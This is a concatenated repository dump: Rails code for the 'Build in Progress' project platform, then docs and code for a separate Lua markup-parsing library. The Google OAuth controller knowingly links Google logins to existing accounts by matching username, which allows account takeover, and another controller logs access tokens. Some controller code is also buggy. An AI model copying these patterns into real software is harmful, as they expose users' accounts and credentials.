This repo is an open source version of Build in Progress, a project management platform for capturing and sharing work-in-progress. Using Build in Progress, you can visualize how your projects evolve over time using branches:

Other features built into Build in Progress include:
* Commenting on projects
* Multi-author projects
* Privacy settings for project sharing
* Ability to ask questions to gather feedback
* Project Collections
* Multiple viewing modes for project pages, including an image gallery and blog mode
To get started, please refer to the documentation at https://github.com/ttseng/Build-in-Progress-Web/wiki
<file_sep>/app/controllers/users/omniauth_callbacks_controller.rb
class Users::OmniauthCallbacksController < Devise::OmniauthCallbacksController
def village
# raise request.env["omniauth.auth"].to_yaml
auth = request.env["omniauth.auth"]
Rails.logger.info("omniauth.auth: " + auth.inspect)
user = User.from_village_omniauth(auth)
Rails.logger.info('user: ' + user.attributes.inspect )
if user.persisted?
Rails.logger.info("signing in!")
session[:user_id] = user.id
session[:access_token] = auth["credentials"]["token"]
user.update_attribute(:access_token, session[:access_token])
logger.debug("uid: #{session[:user_id]}, with token: #{session[:access_token]}")
flash[:notice] = "Signed in with your Village account!"
sign_in_and_redirect user
else
Rails.logger.info("redirecting to registration")
session["devise.user_attributes"] = user.attributes
redirect_to new_registration_path(resource_name)
end
end
def google_oauth2
auth = request.env["omniauth.auth"]
Rails.logger.info("omniauth.auth: " + auth.inspect)
user = User.from_google_omniauth(auth)
Rails.logger.info('user: ' + user.attributes.inspect)
if user.persisted?
# create new user with this google account
Rails.logger.info("signing in!")
session[:user_id] = user.id
flash[:notice] = "Signed in with your Google account!"
sign_in_and_redirect user
else
if User.where(:username => user.email.split("@").first).exists?
# a user with this username already exists
# if you previously created this account, please log in and connect your account to Google in your Account Settings
# if you did not create this account, please enter in a new username for your account
# for now, link this account to google (very small # of users who had BiP accounts before Google Authentication integration
# will be trying to log in using it now...just connect their accounts, though this is a security loophole...)
Rails.logger.info("username already exists")
existing_user = User.where(:username => user.email.split("@").first).first
existing_user.update_attributes(:provider => "google_oauth2", :uid => auth.uid)
session[:user_id] = existing_user.id
flash[:notice] = "Signed in with your Google account!"
sign_in_and_redirect existing_user
elsif User.where(:email => user.email).exists?
# log in an existing user with their google credentials
Rails.logger.info("email already exists")
existing_user = User.where(:email => user.email).first
existing_user.update_attributes(:provider => "google_oauth2", :uid => auth.uid)
session[:user_id] = existing_user.id
flash[:notice] = "Signed in with your Google account!"
sign_in_and_redirect existing_user
else
Rails.logger.info("redirecting to registration")
session["devise.user_attributes"] = user.attributes
redirect_to new_registration_path(resource_name)
end
end
end
end<file_sep>/db/migrate/20140821211624_add_featured_to_comment.rb
class AddFeaturedToComment < ActiveRecord::Migration
def change
add_column :comments, :featured, :boolean
end
end
<file_sep>/test/unit/helpers/activity_feed_helper_test.rb
require 'test_helper'
class ActivityFeedHelperTest < ActionView::TestCase
end
<file_sep>/app/controllers/activity_feed_controller.rb
class ActivityFeedController < ApplicationController
before_filter :authenticate_user!
def index
@activities = current_user.followers_activity.where("created_at > ? ", 2.weeks.ago).public_activities.uniq_by(&:trackable_id)
end
end
<file_sep>/db/migrate/20130415155844_remove_author_from_project.rb
class RemoveAuthorFromProject < ActiveRecord::Migration
def up
remove_column :projects, :author
end
def down
end
end
<file_sep>/db/migrate/20130226185128_rename_number_column.rb
class RenameNumberColumn < ActiveRecord::Migration
def up
rename_column :steps, :number, :position
end
def down
end
end
<file_sep>/app/controllers/sound_controller.rb
class SoundsController < ApplicationController
before_filter :authenticate_user!, except: [:embed_code]
def create
@project = Project.find(params[:sound][:project_id])
@sound = Sound.create(params[:sound])
# create a new image record using the thumbnail image
thumbnail = @sound.thumbnail_url
position = @project.images.where(:step_id=>@sound.stepd_id).count
@image = Image.new(:step_id=>@sound.step_id, :image_path=>"", :project_id=>@sound.project_id,
:saved=>true, :position=> position, :sound_id=> @sound.id)
@image.update_attributes(:remote_image_path_url=>thumbnail)
@image.save
respond_to do |format|
if @sound.save
@sound.update_attributes(:image_id=>@image.id)
format.js {render 'images/create'}
else
Rails.logger.info(@sound.errors.inspect)
format.json { render :json => @video.errors, :status => :unprocessable_entity }
end
end
end
end
<file_sep>/app/models/favorite_project.rb
class FavoriteProject < ActiveRecord::Base
include PublicActivity::Common
attr_accessible :project_id, :user_id
belongs_to :project
belongs_to :user
end
<file_sep>/db/migrate/20130711143717_rename_remix_in_project.rb
class RenameRemixInProject < ActiveRecord::Migration
def up
rename_column :projects, :remix, :remix_id
end
def down
end
end
<file_sep>/app/controllers/collections_controller.rb
class CollectionsController < ApplicationController
before_filter :authenticate_user!, except: [:index, :show, :challenges, :search]
def index
@collections = Collection.published.order("updated_at DESC").where(:privacy => "public").page(params[:collections_page]).per_page(9)
respond_to do |format|
format.html # index.html.erb
format.js
format.json { render :json => @collections }
end
end
# GET /collections/challenges
def challenges
@collections = Collection.published.where(:challenge=>true).order("updated_at DESC").page(params[:collections_page]).per_page(9)
render :template=>"collections/index"
end
# GET /collections/1
# GET /collections/1.json
def show
@collection = Collection.find(params[:id])
@authorLoggedIn = current_user == @collection.user
if (@collection.private? && !current_user) || (@collection.private? && @collection.collection_users.include?(current_user) == false)
respond_to do |format|
format.html {redirect_to errors_unauthorized_path}
end
else
step_ids = Step.joins(:project => :collectifies).where(collectifies: { collection_id: @collection.id }).pluck(:'steps.id')
@questions = Question.where(:step_id => step_ids).where(:featured => nil).order("created_at DESC")
@activities = PublicActivity::Activity.where(:trackable_type => "Step").where("trackable_id" => step_ids).where("key" => "step.create").order("created_at DESC").first(5)
@contributors = @collection.projects.flat_map {|p| p.users}.uniq
respond_to do |format|
format.html {
if request.path != collection_path(@collection)
redirect_to @collection, status: :moved_permanently
end
}
format.json { render :json => @collections }
end
end
end
# GET /collections/new
# GET /collections/new.json
def new
@collection = Collection.new
respond_to do |format|
format.html { create }
format.json { render :json => @collection }
end
end
# GET /collections/1/edit
def edit
@collection = Collection.find(params[:id])
authorize! :edit, @collection
end
# POST /collections
# POST /collections.json
def create
@collection = current_user.collections.build(params[:collection])
# set some default values - set collection value to the number of current collections
if Collection.where("name like ?", "%Untitled%").count > 0
count = Collection.where("name like ?", "%Untitled%").order("created_at DESC").first.name.sub('Untitled-Collection-','').to_i + 1
else
count = 1
end
@collection.name = "Untitled-Collection-"+count.to_s()
@collection.user = current_user
@collection.challenge = false
@collection.privacy = "unlisted"
respond_to do |format|
if @collection.save
@collection.update_attributes(:name => "Untitled-Collection-" + @collection.id.to_s)
format.html { redirect_to @collection }
format.json { render :json => @collection, :status => :created, :location => @collection }
else
format.html { render :action => "new" }
format.json { render :json => @collection.errors, :status => :unprocessable_entity }
end
end
end
# PUT /collections/1
# PUT /collections/1.json
def update
@collection = Collection.find(params[:id])
authorize! :update, @collection
respond_to do |format|
if @collection.update_attributes(params[:collection])
# create a new activity if the project is now published
if @collection.published?
# if collection is being published for the first time, add a public activity for it
if @collection.published == false
if @collection.unlisted?
@collection.update_attributes(:privacy => "public")
end
@collection.create_activity :create, owner: current_user, primary: true
# create notifications for the projects that are part of the collection
collectifies = Collectify.where(:collection_id => @collection)
collectifies.each do |collectify|
if PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "Collectify", collectify.id).blank?
# add public activity
collectify.project.users.each do |user|
collectify.create_activity :create, owner: current_user, recipient: user, primary: true
if current_user != @collection.user and user != @collection.user
collectify.create_activity :owner_create, owner: current_user, recipient: @collection.user, primary: true
end
end
end
end
end
@collection.update_attributes(:published=>true)
else
collectifies = Collectify.where(:collection_id=>@collection)
collectifies.each do |collectify|
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "Collectify", collectify.id).destroy_all
end
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "Collection", @collection.id).destroy_all
end
format.html { redirect_to @collection }
format.js
format.json { head :no_content }
else
Rails.logger.debug "#{@collection.errors.inspect}"
format.js { render :action=> "edit"}
format.html { render :action => "edit" }
format.json { render :json => @collection.errors, :status => :unprocessable_entity }
end
end
end
# DELETE /collections/1
# DELETE /collections/1.json
def destroy
@collection = Collection.find(params[:id])
authorize! :destroy, @collection
collectifies = Collectify.where(:collection_id=>@collection)
collectifies.each do |collectify|
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "Collectify", collectify.id).destroy_all
end
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "Collection", @collection.id).destroy_all
@collection.destroy
respond_to do |format|
format.html { redirect_to user_path(current_user.username) }
format.json { head :no_content }
end
end
def add_project
@collection = Collection.find(params[:id])
uri = URI(params[:project_url])
project_id = uri.path.match('\/projects\/\d+\/').to_s.match('\d+').to_s
if project_id == ""
project_id = uri.path.split('/').last.to_s # account for users who don't include "steps" at the end
end
if project_id != ""
logger.debug("project_id: #{project_id}")
@project = Project.find(project_id)
begin
# create collectify entry for project
collectify = @collection.collectifies.create!(:project_id => @project.id)
if @collection.published?
# if collection is being published for the first time, add a public activity for it
if @collection.published == false
@collection.create_activity :create, owner: current_user, primary: true
@collection.update_attributes(:privacy => "public")
end
@project.users.each do |user|
if user != current_user
# notify project users that their project has been added to the collection
@activity = @collection.collectifies.last.create_activity :create, owner: current_user, recipient: user, primary: true
# create email notifications
if user.settings(:email).collectify_recipient == true || ( (user.settings(:email).collectify_recipient == false) && (@collection.user == user) )
Rails.logger.debug("notifying user that their project has been added to a collection")
NotificationMailer.delay.notification_message(@activity, user)
end
end
end
if current_user != @collection.user && !@project.users.include?(@collection.user)
# notify the collection owner that someone else has added a project to the collection
@activity = @collection.collectifies.last.create_activity :owner_create, owner: current_user, recipient: @collection.user, primary: true
# create email notifications
if @collection.user.settings(:email).collectify_recipient == true
Rails.logger.debug("notifying collection owner than a project was added to their collection")
NotificationMailer.delay.notification_message(@activity, @collection.user)
end
end
@collection.update_attributes(:published=>true)
end
@collection.touch
respond_to do |format|
format.html {
redirect_to collection_path(@collection, :project_id => @project.id)
flash[:notice] = 'Added ' + @project.title + ' to the collection!'
}
format.json { render :json => @collections }
end
rescue ActiveRecord::RecordNotUnique
respond_to do |format|
format.html { redirect_to @collection, :alert => 'Project already exists in collection' }
format.json { render :json => @collections }
end
end
else
respond_to do |format|
format.html { redirect_to @collection, :alert => 'Please enter a valid project URL.' }
format.json { render :json => @collections }
end
end
end
def search
@search_term = params[:search]
@collections = params[:search_results]
@project_count = params[:project_count] ||= "0"
@collection_count = params[:collection_count] ||= "0"
@user_count = params[:user_count] ||= "0"
if !@collections.nil?
@collections = @collections
else
@collections = []
end
@collections_text = params[:search_text]
if params[:type] == "Challenges"
filtered_collections = []
@collections.each do |collection|
collection = Collection.find(collection.to_i)
if collection.challenge == true
filtered_collections = filtered_collections << collection
end
end
@collections = filtered_collections
end
respond_to do |format|
format.html
format.js
format.json { render :json => @collections }
end
end
def update_privacy
@collection = Collection.find(params[:id])
Collection.record_timestamps = false
@collection.update_attributes(:privacy => params[:privacy])
Collection.record_timestamps = true
respond_to do |format|
format.html { redirect_to @collection }
end
end
def upload_avatar(file)
@collection = Collection.find(params[:id])
@collection.update_attributes(:image => file)
end
end
<file_sep>/app/helpers/projects_helper.rb
module ProjectsHelper
end
<file_sep>/db/migrate/20121221020637_remove_project_id_from_image_url.rb
class RemoveProjectIdFromImageUrl < ActiveRecord::Migration
def up
remove_column :image_urls, :project_id
end
def down
add_column :image_urls, :project_id, :integer
end
end
<file_sep>/db/migrate/20141222221136_add_cover_image_to_project.rb
class AddCoverImageToProject < ActiveRecord::Migration
def change
add_column :projects, :cover_image, :integer
end
end
<file_sep>/config/initializers/colors.rb
LABEL_COLORS = {
blue: '#00AEEF',
red: '#EF4436',
green: '#78B920',
gray: '#9e9e9e'
}
DEFAULT_LABEL_COLOR = LABEL_COLORS[:blue]<file_sep>/test/unit/helpers/design_files_helper_test.rb
require 'test_helper'
class DesignFilesHelperTest < ActionView::TestCase
end
<file_sep>/db/migrate/20130530170254_change_date_format.rb
class ChangeDateFormat < ActiveRecord::Migration
def up
change_column :steps, :published_on, :datetime
end
def down
change_column :steps, :published_on, :date
end
end
<file_sep>/app/models/categorization.rb
class Categorization < ActiveRecord::Base
belongs_to :project
belongs_to :category
attr_accessible :category_id, :project_id
end
<file_sep>/db/migrate/20130208232200_rename_image_order.rb
class RenameImageOrder < ActiveRecord::Migration
def change
rename_column :images, :order, :position
end
end
<file_sep>/spec/factories.rb
FactoryGirl.define do
factory :project do
title { "#{Faker::Lorem.word} #{Faker::Lorem.word} #{Faker::Lorem.word}" }
description { "#{Faker::Lorem.paragraph} #{Faker::Lorem.paragraph}" }
published true
after(:create) {|instance|
10.times { FactoryGirl.create(:step, project_id: instance.id) }
steps = Step.where(:project_id => instance.id)
instance.steps = instance.steps << steps
}
end
factory :step do
name { "#{Faker::Lorem.word} #{Faker::Lorem.word} #{Faker::Lorem.word}" }
description { "#{Faker::Lorem.paragraph} #{Faker::Lorem.paragraph}" }
sequence(:position) { |n| (n-1)%10 }
ancestry 0
published_on { DateTime.now }
last false
end
factory :collection do
name { "#{Faker::Lorem.word} #{Faker::Lorem.word} #{Faker::Lorem.word}" }
description { "#{Faker::Lorem.paragraph} #{Faker::Lorem.paragraph}" }
user_id 1
published true
end
end<file_sep>/app/mailers/contact_mailer.rb
class ContactMailer < ActionMailer::Base
default from: "<EMAIL>"
default to: ""
def new_message(message)
if message.user
if message.project_url
mail(:subject => "[#{message.type}] #{message.subject}", :body => "#{message.body} \nfrom user #{message.user} (#{User.where(:username=>message.user).first.email}) on project #{message.project_url}")
else
mail(:subject => "[#{message.type}] #{message.subject}", :body => "#{message.body} from user #{message.user} (#{User.where(:username=>message.user).first.email})")
end
else
mail(:subject => "[#{message.type}] #{message.subject}", :body => "#{message.body}")
end
end
end
<file_sep>/config/initializers/pins.rb
PINS = {
exclamation: 'fa fa-exclamation-circle',
empty: "",
frown: 'fa fa-frown-o',
flag: 'fa fa-flag',
lightbulb: 'fa fa-lightbulb-o',
map: 'fa fa-map-pin',
smile: 'fa fa-smile-o',
thumbs_up: 'fa fa-thumbs-o-up',
thumbs_down: 'fa fa-thumbs-down'
}
DEFAULT_LABEL_COLOR = PINS[:empty]<file_sep>/app/assets/javascripts/application.js
// This is a manifest file that'll be compiled into application.js, which will include all the files
// listed below.
//
// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
//
// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
// the compiled file.
//
// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD
// GO AFTER THE REQUIRES BELOW.
//
//= require jquery
//= require jquery.ui.all
//= require jquery_ujs
//= require jquery.ui.datepicker
//= require jquery.waitforimages.min
//= require jquery.justifiedGallery.min.js
//= require jquery-fileupload/basic
//= require jquery-fileupload/vendor/tmpl
//= require jquery.scrollintoview
//= require jquery.ui.touch-punch.js
//= require jquery.mobile.custom.js
//= require jquery.are-you-sure.js
//= require images
//= require videos
//= require projects
//= require steps
//= require datepicker
//= require object-watch
//= require jquery.autoellipsis-1.0.10
//= require jquery.mousewheel.js
//= require fancybox
//= require bootstrap
//= require bootstrap-timepicker
//= require soundcloud_widget
//= require best_in_place
//= require jquery.purr
//= require jquery.purr
//= require 'rest_in_place'
//= require s3_direct_upload
//= require jquery.simplecolorpicker.js
//= jquery.justifiedGallery.min.js
//= require binaryajax.js
//= require exif.js
//= require ckeditor/ckeditor
//= require highlight/highlight.pack.js
//= require jquery.waypoints.js
//= require sticky.js
//= require jquery.pan.js
//= require bootstrap-tour
//= require mediaelement_rails
//= require date.js
//= require kalendar.js
//= require Chart
<file_sep>/app/controllers/errors_controller.rb
class ErrorsController < ApplicationController
def show
Rails.logger.debug("ERROR WITH STATUS #{status_code.to_s}")
render status_code.to_s, :status => status_code
end
def unauthorized
render "401"
end
protected
def status_code
Rails.logger.debug("STATUS CODE: #{params[:code]}")
params[:code] || 500
end
end
<file_sep>/test/functional/image_urls_controller_test.rb
require 'test_helper'
class ImageUrlsControllerTest < ActionController::TestCase
setup do
@image_url = image_urls(:one)
end
test "should get index" do
get :index
assert_response :success
assert_not_nil assigns(:image_urls)
end
test "should get new" do
get :new
assert_response :success
end
test "should create image_url" do
assert_difference('ImageUrl.count') do
post :create, :image_url => { :project_id => @image_url.project_id, :step_id => @image_url.step_id, :url => @image_url.url }
end
assert_redirected_to image_url_path(assigns(:image_url))
end
test "should show image_url" do
get :show, :id => @image_url
assert_response :success
end
test "should get edit" do
get :edit, :id => @image_url
assert_response :success
end
test "should update image_url" do
put :update, :id => @image_url, :image_url => { :project_id => @image_url.project_id, :step_id => @image_url.step_id, :url => @image_url.url }
assert_redirected_to image_url_path(assigns(:image_url))
end
test "should destroy image_url" do
assert_difference('ImageUrl.count', -1) do
delete :destroy, :id => @image_url
end
assert_redirected_to image_urls_path
end
end
<file_sep>/vendor/x264/include/x264_config.h
#define X264_BIT_DEPTH 8
#define X264_GPL 1
#define X264_INTERLACED 1
#define X264_CHROMA_FORMAT 0
#define X264_REV 2
#define X264_REV_DIFF 0
#define X264_VERSION " r2 1ca7bb9"
#define X264_POINTVER "0.140.2 1ca7bb9"
<file_sep>/db/migrate/20130816204316_remove_seen_from_public_activity.rb
class RemoveSeenFromPublicActivity < ActiveRecord::Migration
def up
remove_column :activities, :seen
end
def down
end
end
<file_sep>/db/migrate/20130705214442_add_video_thumbnail_to_image.rb
class AddVideoThumbnailToImage < ActiveRecord::Migration
def change
add_column :images, :video_thumbnail, :boolean
end
end
| 56bc620569083f5a9fae438fdae111cdd2ccb87e | [
"JavaScript",
"C",
"Ruby",
"Markdown"
] | 111 | Ruby | daddyreb/Build-in-Progress-Web | ae798cf48140d29e68e649428e729e3f7c8e7c4c | 9497a470ba2598ef3b2c51590792ec78d83918f4 |
refs/heads/master | <repo_name>exerro/markup-parser<file_sep>/docs/util.md
# Util submodule
The `util` submodule contains a set of miscellaneous utilities.
## Library
### markup.util.pattern\_escape
```
string markup.util.pattern_escape(string text)
```
Escapes Lua pattern special characters.
### markup.util.html\_escape
```
string markup.util.html_escape(string text)
```
Escapes HTML special characters.
### markup.util.url\_escape
```
string markup.util.url_escape(string text)
```
Escapes URL special characters.
### markup.util.map
```
table markup.util.map(func, table list)
```
Maps $`func` to $`list` and returns the result.
### markup.util.flat\_map
```
table markup.util.flat_map(func, table list)
```
Maps $`func` to $`list` and returns the concatenation of the results.
### markup.util.get
```
(table -> any) markup.util.get(string key)
```
Returns a function, getting $`key` of the object given to it.
### markup.util.index\_of
```
int markup.util.index_of(any item, table list)
```
Returns the index of the item in the table.
### markup.util.last
```
any markup.util.last(table)
```
Returns the last item in the list.
### markup.util.indent
```
string markup.util.indent(string text, int count = 1)
```
Indents the string with $`count` tabs, taking into account newlines.
<file_sep>/docs/update.md
# Update submodule
The `update` submodule provides functions for updating the contents of documents, including removing, inserting, and replacing nodes. It relies heavily on the [filter](docs/filter.md) submodule.
All parameters or fields named `filter` have type `filter`, from the `filter` submodule. In addition, all parameters named `update_type` must equal either `markup.update.document` or `markup.update.text`.
## Library
> Note that for all functions below, `document` has type `block_node[]` (i.e. the result of `markup.parse()`), but for text variants, this parameter also accepts `inline_node[]` (i.e. the result of `markup.parse_text()`).
### markup.update.document
```
markup.update.document(document, (block_node -> block_node[]?) f, table options)
```
where `options` is a table with optional fields
```
(block_node -> boolean) filter
boolean no_filter_stop
boolean include_unfiltered
boolean deep_update
```
Updates the document using function $`f`. $`f` may return a list of 0 or more nodes to replace what it was called with, or `nil` to make no changes. Returning `{node}` and `nil` are identical, if `node` is what was passed to the function.
The function $`f` is only called if the filter matches the node. Otherwise, whether the node will be included in the result is determined by $`include_unfiltered`, where a value of `true` indicates that it will. If the filter fails for a node, and $`no_filter_stop` is `true`, all further updating will stop (ignoring further children even if $`include_unfiltered` is `true`). If $`deep_update` is `true`, children of nodes will also be updated in a recursive manner (after the parent).
Note that if a filter fails for a node, $`include_unfiltered` is `true`, and and $`no_filter_stop` is `true`, that node *will* be included in the result.
> $`deep_update` defaults to `true`
### markup.update.text
```
markup.update.text(document, (inline_node -> inline_node[]?) f, table options)
```
where `options` is a table with optional fields
```
(block_node -> boolean) block_filter
(inline_node -> boolean) filter
boolean no_filter_stop
boolean block_include_unfiltered
boolean include_unfiltered
boolean deep_update
```
Works similarly to [`markup.update.document`](#markup-update-document), but for inlines. $`block_filter` may be used to filter the block nodes for which inlines will be sourced from.
### markup.update.insert_after
```
markup.update.insert_after(update_type, document, filter, node insertion, boolean many, boolean deep_update)
```
Inserts the node $`insertion` after a node matching $`filter`. If `many` is `true`, this will happen for all nodes matching $`filter`.
### markup.update.insert_before
```
markup.update.insert_before(update_type, document, filter, node insertion, boolean many, boolean deep_update)
```
Inserts the node $`insertion` before a node matching $`filter`. If `many` is `true`, this will happen for all nodes matching $`filter`.
### markup.update.remove
```
markup.update.remove(update_type, document, filter, boolean many, boolean deep_update)
```
Removes a node matching $`filter`. If `many` is `true`, this will happen for all nodes matching $`filter`.
### markup.update.remove_after
```
markup.update.remove_after(update_type, document, filter, boolean many, boolean deep_update)
```
Removes all nodes after one matching $`filter`.
### markup.update.remove_before
```
markup.update.remove_before(update_type, document, filter, boolean many, boolean deep_update)
```
Removes all nodes before one matching $`filter`.
### markup.update.replace
```
markup.update.replace(update_type, document, filter, (node -> node[]?) map, boolean many, boolean deep_update)
markup.update.replace(update_type, document, filter, node map, boolean many, boolean deep_update)
```
Replaces a node matching $`filter`. If `many` is `true`, this will happen for all nodes matching $`filter`. $`map` may be either a node used for direct replacement, or a function mapping a node to an optional list of other nodes as with the $`f` parameter to `markup.update.document` and `markup.update.text`.
<file_sep>/docs/README.md
# Markup library
The markup library is used for parsing, manipulating, and rendering markup files.
## Submodules
* [filter](docs/filter.md)
* [HTML](docs/html.md)
* [scan](docs/scan.md)
* [update](docs/update.md)
* [util](docs/util.md)
## Syntax
The syntax is very similar to markdown.
* `##...` for headers
* `*` or `-` for lists
* ```` ``` ```` for multi-line code blocks
* `>` for block quotes
* `---` for horizontal rules
* `` ` `` for inline code sections
* `__` for underline
* `*` for bold
* `_` for italic
* `~~` for strikethrough
* `` for images
* `[display](url)` for links
There are a few other features, discussed below:
### Comments
Sometimes you want to annotate things, without them showing up in the document. For this, use `// stuff` on its own line - that line will be ignored.
### Resources
To allow maximum extensibility, the markup library allows for "resources" to be embedded in the document.
They're referenced like `::resource_type ...data`, and when the document goes to render, it'll use one of the render options to turn this into HTML.
For example, you might want to embed a code editor in the document. You might use `::interactive-editor lua`, and give in `function(language) return ... end` as `options.loaders["interactive-editor"]`.
### Data
You can embed data in a document using `{:data_type data}`, e.g. `{:author ben}`. These sections aren't rendered at all.
### References
As the library is intended for use with not just single documents, but sets of documents, referencing between them will be a common thing. References are designed to handle this: `@ref` or `@{ref}`, with the latter supporting spaces. When a reference goes to be rendered, it'll pass through a function or table $`reference_link` in the HTML render options, to get its URL.
For example, you could set this up with a lookup table `{ ["ben"] = "/users/ben", ["eurobot"] = "/events/eurobot" }`.
### Variables
Variables are a different form of inline code section using the syntax `` $`var` ``. They're intended to be used when referencing parameters or variables. There's very little difference in what they look like by default, but they can have custom styling applied.
### Maths
Client-side LaTeX maths rendering is supported. Use `$$expr$$` to render some fancy maths. Note that if the maths section is in its own paragraph, it'll be rendered larger than if it is with other things. For example,
```
##### Big maths
$$ |v| = \sqrt{\sum v_i^2} $$
##### Small maths
Smaller: $$ |v| = \sqrt{\sum v_i^2} $$
```
##### Big maths
$$ |v| = \sqrt{\sum v_i^2} $$
##### Small maths
Smaller: $$ |v| = \sqrt{\sum v_i^2} $$
## Library
### markup.parse
```
block_node[] markup.parse(string document)
```
Parses a document, returning its AST.
### markup.parse\_text
```
inline_node[] markup.parse_text(string text)
```
Parses some inline text, returning its AST.
### markup.is\_node
```
boolean markup.is_node(any value)
```
Returns `true` if the value is a node
### markup.is\_block
```
boolean markup.is_block(node value)
```
Returns `true` if the value is a block node
### markup.is\_inline
```
boolean markup.is_inline(node value)
```
Returns `true` if the value is an inline node
### markup.tostring
```
string markup.tostring(node value)
string markup.tostring(node[] values)
```
Returns the string representation of either a node, or a list of nodes. The value of this function closely mirrors what would have been parsed to generate that value.
### AST Node constructors
The following constructors create a node of the respective type.
For each constructor there is a library constant for that node's type, which has a name equal to the uppercase of the constructor, e.g. `markup.text(...)` will create a node with $`type` equal to `markup.TEXT` The one exception to this is that the node type for `markup.rule()` is actually `markup.HORIZONTAL_RULE`, not `markup.RULE`
The constructors don't check parameters. However, For all parameters of type `inline_node[]` or `block_node[]`, a string may be given, and this will be automatically parsed.
* Jump to [Block nodes](#block-nodes)
* Jump to [Inline nodes](#inline_nodes)
#### Block nodes
```
markup.paragraph(inline_node[] content)
```
---
```
markup.header(inline_node[] content, int size)
```
> $`size` is an integer between 1 and 6, corresponding to `h1`, `h3`, `h6` etc in the html.
---
```
markup.list(table items)
```
> $`items` is a list containing objects structured as follows:
> ```
> {
> int level,
> inline_node[] content
> }
> ```
---
```
markup.code_block(string content, string? language)
```
---
```
markup.block_quote(block_node[] content)
```
---
```
markup.resource(string resource_type, string data)
```
> See [Resources](#resources)
---
```
markup.rule()
```
#### Inline nodes
```
markup.text(string content)
```
---
```
markup.variable(string content)
```
> See [Variables](#variables)
---
```
markup.code(string content)
```
---
```
markup.math(string content)
```
> See [Maths](#maths)
---
```
markup.underline(inline_node[] content)
```
---
```
markup.bold(inline_node[] content)
```
---
```
markup.italic(inline_node[] content)
```
---
```
markup.strikethrough(inline_node[] content)
```
---
```
markup.image(string alt_text, string source)
```
---
```
markup.link(inline_node[] content, string url)
```
---
```
markup.data(string data_type, string data)
```
---
```
markup.reference(inline_node[] content, string? reference)
```
> If $`reference` isn't given (is falsey), it will be derived from $`content`
> See [References](#references)
<file_sep>/docs/html.md
# HTML submodule
## Library
### markup.html.render
```
string markup.html.render(block_node[] document, table? options)
```
Renders a document to HTML. $`options` is a table with the following optional properties:
```
(string -> string) options.highlighters[string language]
```
Returns HTML code for the given resource. Takes code body as parameter.
---
```
(string -> string) loaders[string resource_type]
```
Returns HTML code for the given resource. Takes `data` parameter.
---
```
table reference_link
function reference_link
```
If `reference_link` is a table, any reference will be looked up in the table. Otherwise, the function will be called with the reference.
### markup.html.CLASS\_PREFIX
```
string markup.html.CLASS_PREFIX = "mu"
```
### markup.html.headerID
```
string markup.html.headerID(header_node)
```
Returns the ID of the header, given its content. For example, `# Hello world!` will have headerID `hello-world`
### markup.html.class
```
string markup.html.class(string... classes)
```
Returns a formatted string of classes. For example `class("~a", "~b", "c")` equals `"mu-a mu-b c"`
<file_sep>/docs/filter.md
# Filter submodule
## Library
The submodule introduces a new type, the `filter`.
Filters may be called with a node (`filter(node)`), multiplied `filter1 * filter2`, subtracted `filter1 - filter2`, and divided `filter1 / filter2`, and negated `-filter`.
Multiplication of two filters will give a new filter representing the intersection of both, i.e. `(filter1 * filter2)(node) == (filter1(node) and filter2(node))`.
Subtraction of two filters will give a new filter representing the difference between them, i.e. `(filter1 - filter2)(node) == (filter1(node) and not filter2(node))`.
Division of two filters will give a new filter representing the union of both, i.e. `(filter1 / filter2)(node) == (filter1(node) or filter2(node))`.
Negation of a filter will give a new filter representing its complement, i.e. `(-filter)(node) == (not filter(node))`.
Note that multiplication and division of filters may also have functions as rvalues, i.e. the following is valid:
```
local myFilter = filter1
* function(node)
return f(node)
end
* function(node)
return g(node)
end
```
### markup.filter.new
```
filter markup.filter.new((node -> bool) predicate)
```
Creates a new filter from a predicate.
### markup.filter.equals
```
filter markup.filter.equals(node)
```
Returns a filter matching only nodes equal to $`node`
### markup.filter.type
```
filter markup.filter.type(node_type)
```
Returns a filter matching only nodes with type $`node_type`.
### markup.filter.property_equals
```
filter markup.filter.property_equals(string property, any value)
```
Returns a filter matching only nodes where `node[property] == value`
### markup.filter.property_contains
```
filter markup.filter.property_contains(string property, string value)
```
Returns a filter matching only nodes where `node[property]:find(value)`
### markup.filter.property_matches
```
filter markup.filter.property_matches(string property, (any -> boolean) predicate)
```
Returns a filter matching only nodes where `predicate(node[property])`
### markup.filter.has_data_type
```
filter markup.filter.has_data_type(string data_type)
```
Returns a filter matching only nodes of type `markup.DATA` where `node.data_type == data_type`
### markup.filter.inline
```
filter markup.filter.inline
```
Is a filter matching only nodes that are inline
### markup.filter.block
```
filter markup.filter.block
```
Is a filter matching only nodes that are blocks
### markup.filter.has\_text
```
filter markup.filter.has_text
```
Is a filter matching only nodes of type `markup.TEXT`, `markup.CODE` or `markup.VARIABLE`. The text contents of these nodes is accessible through `node.content`.
<file_sep>/tests/test.lua
local markup = require "src.markup"
local h = io.open("docs/util.md", "r")
local content = h:read("*a")
local parsed, topics
h:close()
content = [[
A
{:date 4/2/19}
B
{:time 18:00-20:00}
C
]]
parsed = markup.parse(content)
parsed = markup.update.remove(
markup.update.text,
parsed,
markup.filter.type(markup.DATA)
/ (markup.filter.type(markup.TEXT)
* -markup.filter.property_contains("content", "%S")),
true
)
parsed = markup.update.remove(
markup.update.document,
parsed,
markup.filter.type(markup.PARAGRAPH)
* function(para)
return #para.content == 0
end,
true
)
local h = io.open("out.html", "w")
h:write("<style> @import url('src/style.css'); </style>\n")
h:write("<style> @import url('tests/global-style.css'); </style>\n")
h:write(markup.html.render(parsed))
h:close()
<file_sep>/README.md
# markup-parser
A markup language parser that outputs an AST or HTML
<file_sep>/src/markup.lua
local HTML_MATH_URL = "https://chart.googleapis.com/chart?cht=tx&chl="
-- css classes, note that "~" is replaced with `${markup.html.CLASS_PREFIX}-`
local HTML_FORMAT_ERROR = "~format-error"
local HTML_BLOCK = "~block"
local HTML_CONTENT = "~content"
local HTML_PARAGRAPH = "~para"
local HTML_HEADER = "~header"
local HTML_LIST = "~list"
local HTML_LIST_ITEM = "~list-item"
local HTML_BLOCK_CODE = "~block-code"
